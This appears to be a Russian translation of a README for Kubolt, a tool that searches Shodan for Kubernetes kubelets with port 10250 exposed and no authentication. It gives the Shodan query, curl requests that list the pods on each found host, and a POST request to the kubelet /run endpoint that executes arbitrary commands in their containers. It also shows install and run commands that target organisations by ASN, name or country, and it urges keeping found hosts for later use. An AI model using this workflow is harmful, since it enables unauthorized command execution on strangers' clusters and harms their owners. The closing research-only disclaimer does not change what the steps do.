Зачем?
Иногда порт 10250 kubelet открыт для несанкционированного доступа и позволяет запускать команды внутри контейнеров, используя функцию getrun из kubelet:
// getRun handles requests to run a command inside a container. func (s *Server) getRun(request *restful.Request, response *restful.Response) { params := getExecRequestParams(request) pod, ok := s.host.GetPodByName(params.podNamespace, params.podName) if !ok { response.WriteError(http.StatusNotFound, fmt.Errorf("pod does not exist")) return }
Как?
Хорошо, давайте спросим нашего друга Shodan : 👺
Основной запрос:
ssl:true port:10250 404
Kubelet использует порт 10250 с SSL по умолчанию, 404 – это HTTP-ответ без URL-пути.
Kubolt запрашивает у Shodan API список IP-адресов и сохраняет их для других действий OSINT 😁
Во-первых, давайте попросим Kubelet запустить pods и отфильтровать хосты, где ответ не содержит Unauthorized и содержит контейнер, чтобы мы могли запустить команду внутри него.
curl -k https://IP-from-Shodan:10250/runningpods/
В любом случае, если вы найдете хост без каких-либо запущенных модулей, сохраните его для следующего раза, когда модуль может быть запущен 😁
Вы можете перечислить все доступные модули из этих запросов:
curl -k https://IP-from-Shodan:10250/pods/
или
curl http://IP-from-Shodan:10255/pods/
Следующий kubolt анализирует ответ и генерирует новый запрос, как показано ниже:
curl -XPOST -k https://IP-from-Shodan:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=<command-to-run>"
- asn
- org
- country
- net
Установка
mkdir output pip install -r requirements.txt
Запуск
python kubolt.py --query "asn:123123 org:'ACME Corporation'" #или python kubolt.py --query "org:'ACME Corporation' country:UK"
Shodan
Дэмо
Важно
¯\_(ツ)_/¯
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.